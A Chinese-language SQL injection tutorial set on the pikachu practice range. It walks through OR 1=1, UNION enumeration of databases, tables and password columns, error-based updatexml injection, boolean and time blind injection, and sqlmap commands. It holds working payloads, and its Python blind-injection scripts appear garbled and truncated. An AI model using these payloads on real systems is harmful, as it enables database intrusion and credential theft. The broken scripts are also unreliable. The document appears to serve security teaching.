目录
前言:
1.【入门】普通查询型注入:
1.0 实验环境:
1.1进行一次普通的查询:
1.2 进行注入得到用户信息:
1.2.1 执行注入:
1.2.2 注入语句分析:
1.3 整型注入与字符型注入区别:
2.【进阶】从库到列逐步注入:
2.1 预备知识:
2.1.1 union函数:
2.1.2 order by函数:
2.1.3 information_schema 库:
2.2 注入实战:
2.2.1 查字段数:
2.2.2 查数据库名:
2.2.3 查库中所有的表名:
2.2.4 查表中所有的列名:
2.2.5 根据字段查询表中信息:
2.2.6 总结:
3.【高阶】 利用报错语句注入:
3.1 有关函数:
3.1.1 extractvalue()
3.1.2 updatexml()
3.2 注入实战
4.【高阶】布尔盲注:
4.1 什么是布尔盲注:
4.2 布尔盲注示例:
4.3 布尔盲注脚本:
5.【高阶】时间盲注:
5.1 什么是时间盲注:
5.2 时间盲注示例:
5.3 时间盲注脚本:
6.【附加】Sqlmap使用:
6.1 什么是sqlmap:
6.2 基本使用方法:
前言:
SQL注入漏洞OWASP Top 10漏洞之一,指黑客通过将恶意的SQL语句插入到Web应用程序的输入参数中,进而使后台的数据库服务器受到攻击的行为。这种漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损,用户隐私及机密数据遭到泄露
1.【入门】普通查询型注入:
1.0 实验环境:
用于实验的表为:
假设后台查询语句为:
select password from users where id='$GET['id']';
分析语句可得,该语句会根据我们GET方式提交的参数 id 提交到数据库中查询id列中与提交的id参数相等的一行中password列所对应的值
1.1进行一次普通的查询:
语句为:
select password from users where id='tom';这里我们提交的id参数为tom,也就是所在表中查询tom的password
结果为:
显而易见,我们查找出了tom的password
1.2 进行注入得到用户信息:
1.2.1 执行注入:
注入语句为:
select password from users where id='tom' or 1=1;#';#我们传入的 id 为tom' or 1=1;#
结果为:
我们可以看到爆出了所有的用户信息
1.2.2 注入语句分析:
我们给后台传入的id值为:
tom’ or 1=1;#
后台形成查询语句为:
select password from users where id=‘tom‘ or 1=1;#‘;
红色的单引号为查询语句自带的,橙色单引号为我们传入的
- 可以看到第一个红色单引号与我们传入的单引号进行了配对,而第二个红色单引号者被我们传入的#号注释在外面(在sql语句中#号起注释作用),然后 tom由于被我们传入的单引号提前闭合,形成第一个查询条件
- or 代表逻辑运算符,代表或
- 第二个查询条件为:1=1 这条语句的结果永远为真(1永远等于1)
分析到这里,查询语句可简化为:
select password from users where id='tom' or True;
可以理解为 id=’tom’ 或 为真
也就是说id只要还有存在的值,那么语句便会一直查找下去(id等于该列中任何一个值结果都为True)
1.3 整型注入与字符型注入区别:
上文所描述的注入实例为字符型,在实战环境中往往也会出现字符型
两种查询语句对比如下:
select password from users where id='$GET['id']'; #字符型我们可以看到传入的参数在单引号中,故为字符型,因为字符串要被单引号括住select password from users where id=$GET['id'];#整型我们可以看到传入的参数两边无单引号,故为整型
遇到字符型注入时,不需要构造引号闭合(因为后台语句没有单引号),只须最后用引号注释掉后面即可
2.【进阶】从库到列逐步注入:
一般存在查询型注入,我们不只可以查询所有的同类型信息,还可以查询到数据库的版本、名称,及其所有的表、字段信息
2.1 预备知识:
2.1.1 union函数:
对前后两个select语句进行并集操作,不包括重复行,同时进行默认规则的排序;需要前后两个select语句查询的字段数相同,我们可以根据此函数自定义一个select语句,用来查询我们想要的信息
2.1.2 order by函数:
此函数后面跟数字,指的是根据 select 后面查询的列进行分组、排序等,1 代表第一个列,2代表第二个列,依次类推,如果我们所输入的数字大于select后所查询的列数,那么就会返回失败,所以我们可以通过不断改变后面的数字来确定前select语句所查询的字段数
2.1.3 information_schema 库:
这是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据库的数据),例如数据库名、表名、列的数据类型、访问权限等。我们可在information_schema.tables这个表中查到该数据库的所有表
该内容表如下
2.2 注入实战:
这里以pikachu靶场为例
2.2.1 查字段数:
xx' order by 2#2不报错,3报错,说明后台查询字段数为2,我们拼凑的查询语句字段数也应为2
结果为:
2.2.2 查数据库名:
xx' union select database(),1# database()为MySQL的一个环境变量,代表当前数据库1是用来凑数的,因为前面的select语句为2个字段
结果为:
2.2.3 查库中所有的表名:
- 这里用到了information_schema库的tables表,里面有所有数据库内表的信息
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#
结果为:
2.2.4 查表中所有的列名:
- 这里用到了information_schema库的columns表,里面有所有表内列的信息
1' union select 1,column_name from information_schema.columns where table_name= "users"#
结果为:
2.2.5 根据字段查询表中信息:
xx' union select username,password from users#
结果为:
2.2.6 总结:
- 我们首先爆出了当前数据库名,然后又爆出了该数据库所有的表名,又选取users表,爆出了其中大的列名,最后通过union查询出了username,password列的信息
3.【高阶】 利用报错语句注入:
在某些环境下,我们不止可以通过select语句进行注入,还以通过报错语句进行注入,利用报错语句带出数据
3.1 有关函数:
3.1.1 extractvalue()
格式为:
extractvalue(xml_document,XPath_string)
xml_document:一个包含XML文档的字符串
XPath_string:一个XPath表达式,用于定位需要提取的值
- 如果参数信息对应的xml文件路径不存在,那么就会以报错的形式返回错误的路径,我们可以令路径参数为查询语句,这样就会以报错的形式返回查询语句的结果
3.1.2 updatexml()
格式为:
格式为
updatexml(xml_document,XPath_string,new_value)
xml_document:一个包含XML文档的字符串,
XPath_string:一个XPath表达式,用于定位需要修改的节点
new_value:要替换为的新值。
- 该函数性质与上个相同,路径不对就会报错,利用方式也与上个相同
3.2 注入实战
同样以pikachu靶场为例
payload:
xx' and updatexml(1,datebase(),0)#
我们可以看到爆出了数据库名(这里仅以查询数据库名为例,步骤与上文类似,替换XPath_string参数为对应查寻语句即可)
4.【高阶】布尔盲注:
4.1 什么是布尔盲注:
布尔盲注是一种SQL注入技术,它基于真和假的逻辑判断。攻击者通过构造一些布尔表达式,并根据页面显示的不同响应来判断是否注入成功
4.2 布尔盲注示例:
例如pikachu这一关:在输入信息不存在时,会返回相同的一句话
我们可通过返回的信息,判断注入真假
4.3 布尔盲注脚本:
- 该脚本的原理是使用 and 逻辑运算符 将查询为真的条件,和我们按照ASCII表逐一爆破的库名,表名等连接在一起只有都为真时,才会返回成功查询的标志(手工注入几乎不可能,太费时间,大部分情况都使用脚本)
//该脚本只能爆出数据库名,爆其他信息手动更改payload即可import requestsurl="xxxx/" />%d--+"%(i,mid)r=requests.get(url=url+payload)if "You are in" in r.text:low=mid+1else:high=midmid=(low+high)//2if(mid==32):breakflag=flag+chr(mid)print(flag)
5.【高阶】时间盲注:
5.1 什么是时间盲注:
时间盲注是一种基于时间的SQL注入攻击技术。在某些情况下,页面会只有一种返回结果,无法通过正常的方式判断是否注入成功,这时,攻击者可以利用延时函数如sleep()
和benchmark()
等,在SQL语句中加入等待一定时间的命令,根据页面的响应时间来判断条件是否正确
5.2 时间盲注示例:
例如pikachu这一关:当我们输入不存在的用户名时,只会返回同样的一句话
无论我们传入的数据是否存在,返回结果均相同,所以我们要通过响应时间判断注入对错
5.3 时间盲注脚本:
- 根据实际场景修改url以及payload即可使用,脚本原理与布尔盲注脚本相似
该脚本只能爆出数据库名,爆其他信息手动更改payload即可import timeimport requestsflag=""session=requests.Session()url="xxx/" />%d,sleep(1),1)--+"%(i,mid)stat_time = time.time()r = session.get(url=url+payload)end_time = time.time()t = end_time - stat_timeif t > 1:low = mid + 1else:high = midmid = (low + high)//2if mid==32:breakflag=flag+chr(mid)print(flag)
6.【附加】Sqlmap使用:
6.1 什么是sqlmap:
sqlmap
是一款开源的自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞,并获取数据库的敏感信息。该工具支持多种数据库类型(如MySQL、Oracle、PostgreSQL等)和操作系统(如Windows、Linux等)官网下载链接
6.2 基本使用方法:
sqlmap -u"http://www.xx.com?id=x"查询是否存在注入点 --dbs检测站点包含哪些数据库 --current-db 获取当前的数据库名 --tables -D"db_name"获取指定数据库中的表名 --columns-T"table_name"-D"db_name" 获取数据库表中的字段 --dump -C"columns_name"-T "table_name"-D"db_name" 获取指定列的数据内容